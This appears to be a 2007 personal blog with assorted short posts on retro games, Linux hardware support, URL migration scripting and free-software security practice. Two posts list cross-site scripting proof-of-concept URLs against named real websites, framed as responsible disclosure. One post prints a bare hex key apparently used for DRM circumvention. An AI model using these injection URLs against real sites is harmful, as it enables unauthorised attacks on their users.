English - 14

There was a firework in sight of my window. Sadly it took me three minutes to get the camera in a stable position. Then, after one minute the battery was empty. Also the resolution was set to low.
So it's only a mini-video with three minutes shaking and one minute with a stable camera (note to self: next time load your cam after a longer trip).
Fireworks as OGG Theora/Vorbis (can be played with vlc)

Today I saw that in the Rewe supermarket, they sell remakes of old Nintendo Game and Watch games (called Mini Classics). For those who don't know, Game and Watch where early Nintendo Games, only one game in a device, with an lcd-screen.

I bought the two classics Super Mario Bros. and Donkey Kong Junior (there were some others but none of them seemed to be of the original titles). I also have a quite nice collection of older Game and Watch titles, I think I might upload some pictures of them when I find time for it.

It's an often told story that the free software community cares more about security. That it's much better because everyone can look at the code. While this may sometimes be true and I know many free software projects really care about security issues, often enough it's the exact opposite.

On 26.04., some guy called Marsu released an advisory about the GIMP. Loading files in the sunras-format can lead to a buffer overflow. Now, while it was silently fixed in svn, for a month they didn't put an advisory on their page and they didn't provide an update. Even with the release of new versions (2.2.15, 2.3.17), they somehow »forgot« to mention that it was a security-update.
Now, after looking into the NEWS-file (which is their Changelog), for 2.2.15 there's this little line:
- guard against a possible stack overflow in the Sunras loader (bug #433902)
They didn't mention the word »security«, they didn't give credits to Marsu, they didn't provide a reference to the advisory or the CVE-ID. Now, even worse, for 2.3.17, they forgot to mention that bug at all (it's probably part of the mentioned »lots of bug fixes«).

Now one might say this isn't that critical, because who uses sunras (I also never heared of that format before)? But think about this: I could mail someone a crafted sunras-file, saying it's an old image I found on some backup HD, together with the note that gimp can open it. I think it's not unlikely that someone might open it, especially with some intelligent social engineering. Beside that, EVERY SINGLE security bug should be taken serious.

Now, don't take me wrong. I love the GIMP, it's a great application. I also think that free software is an important precondition for secure software. But it's not the only thing. And as long as many people in the free software community treat security bugs like this, it's no better than those in the proprietary world.

I should read more web comics...

Ramon yesterday pointed me to xkcd (also the source of this sudoku-image). If you look at the earlier images, you'll suddenly think »This guy must have done this in school".

For you lucasarts-lovers, I also like Day after the Day of the Tentacle (although rarely updated).

Up until recently, I had URLs of the form /item/number, which is due to the reason that this was the URL-naming-scheme of bblog, an ancient blogging software I used years back. Now serendipity supports URLs with the title (minus problematic charakters), which is much better for search engines, because they often rate words that appear in the url better. Now, changing the URL after years of blogging doesn't seem appropriate (probably hundreds of links, trackbacks, bookmarks), so I needed some migration path. Serendipity doesn't support two url schemes out of the box, so I hacked some bash to do the trick. This will generate (after changing the url) forward rules (add them to .htaccess after the s9y-stuff), which send a »moved permanently«-answer. This has do be done only once, as there won't be links on new articles with the old scheme.
It's a fast hack and it probably doesn't fit in other situations without changes, but it's a nice example how fast you get somewhere with some bash and sed magic:

for i in `seq 1 31`; do

        wget --quiet -O - http://www.hboeck.de/archives/P$i.html|grep serendipity_title | \

        sed -e 's:^.*href="\([^"]*\)">.*$:\1:g' | \

        sed -e 's:^/\w*/\(\w*\)-.*:RewriteRule ^item/\1 \0 [L,R=301]:g'

done

09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
is all I have to say today.

I knew that kindergarden, blitzkrieg, gesundheit and umlaut are german foreign words in the english language. Today I noticed the word »zeitgeist« in an english talk.

Wikipedia has some more examples

Now, once another episode of cross site scripting disclosure. This time we have some free software web applications. Sadly, none of them was able to provide a fix in a decent timeframe.

CVE-2007-1871 XSS in chcounter
CVE-2007-1872 XSS in toendaCMS
CVE-2007-1873 XSS in mephisto

It's terrifying how many sites there are out there with XSS-issues.

http://www.netbeat.de/bestellen/domaincheck.html?<script>alert(1)</script>
http://www.netbeat.de/support/kommentare.html?name="><script>alert(1)</script>
http://www.symlink.ch/users.pl?unickname="><script>alert(1)</script>
http://www.stuttgart.de/sde/search.php?search=%22><script>alert%281%29</script>
http://www.holidayranking.de/search.html?searchSearchString="><script>alert(1)</script>
http://www.freecity.de/suche/index.phtml?gosearch=yes&words="><script>alert(1)</script>
http://search.netdoktor.com/results.html?qt="><script>alert(1)</script>&la=de
http://www.vfb.de/de/suche/index.php?words="><script>alert(1)</script>
http://www.dvd.de/dvd-and-date/alledvd.asp?strTxt="><script>alert(1)</script>

Note: All have been informed more than a week ago. I also had a bunch of others that got fixed after notification of the webmasters.

Napster and MPAA still unfixed.

No text, just some pictures here.

I'm here at the Linux-Infotag 2007 from the linux user group Augsburg. It's a small and familiar event. Seems that there are a lot of freifunk-people (free wlan networks) in augsburg. On my way to Augsburg, fitting to the topic I had to switch trains in the linux-town Treuchtlingen.

I had a talk about 3D-Desktops (Linux 3D-Slides, OpenDocument). Will stay for some more hours.
It's nice to see more local linux events evolving.

Update: Some pictures from the LIT 2007

My laptop (Samsung P35) has an internal card reader (SD and MemoryStick) done by Ricoh. Several other laptops have this device. It's internally connected as a pcmcia-device and shows up as RICOH Bay1Controller on pccardctl ident.

For years now there was no way to get this thing running in linux, which stopped me from doing projects like having a crypto-key on a small SD-Card and insert that on boot. Now, finally someone did the job and reverse engineered the device: sdricohcs

In my first small tests, I could already download some photos from my digital camera card. No problems so far. Now, the only thing I'm really missing with linux on my laptop left is TV-Out (works with ati binary drivers, but they are unstable like hell). I heared some Xorg-devs are already working on it, so maybe I'll soon announce the »nearby 100%« support for Linux on Samsung P30/P35.

I wrote a few days ago (only in german) about my requests to the 1und1-support for information about the hardware of our rootserver (to complete the PCI ID database).

Now, after their first reply, I now got another mail with more useful information: They pointed me to the tool dmidecode, which can find lot's of information about the BIOS and the motherboard. Didn't know that before, it's also useful to find out the BIOS version on a running system.

Now, this looks like what I was looking for:
Handle 0x0002, DMI type 2, 8 bytes
Base Board Information
Manufacturer: FUJITSU SIEMENS
Product Name: D2030-A1

Note: This is just a short form of a german article I posted today. E-Plus is a big german mobile telephony provider. I've found a bunch of XSS together with Alexander Brachmann (responsible disclosure, all reported to E-Plus before, probably more to come).

For my english visitors, here are the urls:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('

Already fixed ones:
http://www.eplus.de/frame.asp?go=http://www.google.de/
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com

A thing that people often ask in the free software world: I can't program but I want to help out somewhere.

Theres one thing that's very simple to do for everyone using Linux. We have two tools called lspci and lsusb that look on the pci/usb-bus for installed devices. Each device has an ID, consisting of a vendor ID and a product ID. Everyone can check the own hardware if everything is detectet. For lspci, first run update-pciids, then lspci -v. Each »Unknown« represents some ID that's not in pci.ids. Report the exact device model name to the interface on http://pciids.sourceforge.net/.
For lsusb, run update-usbids and attach all usb devices you can find. lsusb doesn't show Unknown, if after a device number there's only a vendor name, then the ID is unknown. The usb.ids database is much more incomplete than the pci database. They don't have such a fancy interface as pciids, just send it to the current maintainer (listed in the file usually at /usr/share/misc/usb.ids or /usr/share/usb.ids).